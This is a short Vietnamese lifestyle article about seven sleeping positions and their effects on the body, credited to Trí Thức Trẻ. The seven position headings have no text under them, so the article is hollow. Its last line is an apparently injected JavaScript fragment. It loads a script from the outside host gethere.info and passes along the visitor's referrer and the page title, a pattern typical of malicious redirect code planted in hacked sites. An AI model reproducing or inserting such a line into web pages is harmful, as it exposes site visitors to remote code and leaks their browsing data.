Biết mình có tư thế ngủ nào thì bạn sẽ có lời giải đáp cho tất cả biểu hiện của cơ thể sau khi ngủ dậy đấy!
Cũng không phải ngẫu nhiên mà nhiều người thường cảm thấy đau mỏi mỗi khi ngủ dậy trong khi một số khác lại thấy vô cùng thoải mái. Dưới đây là 7 tư thế ngủ khá phổ biến của tất cả mọi người. Cùng tham khảo những lợi ích cũng như tác hại mà mỗi tư thế này mang lại cho bạn trong và sau một giấc ngủ dài nhé!
Theo đó, tuỳ theo tình trạng cơ thể mà bạn chọn cho mình tư thế ngủ phù hợp nhất nhé!
Tư thế 1
Tư thế 2
Tư thế 3
Tư thế 4
Tư thế 5
Tư thế 6
Tư thế 7
Lệ Ngân
Theo: Trí Thức Trẻ
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
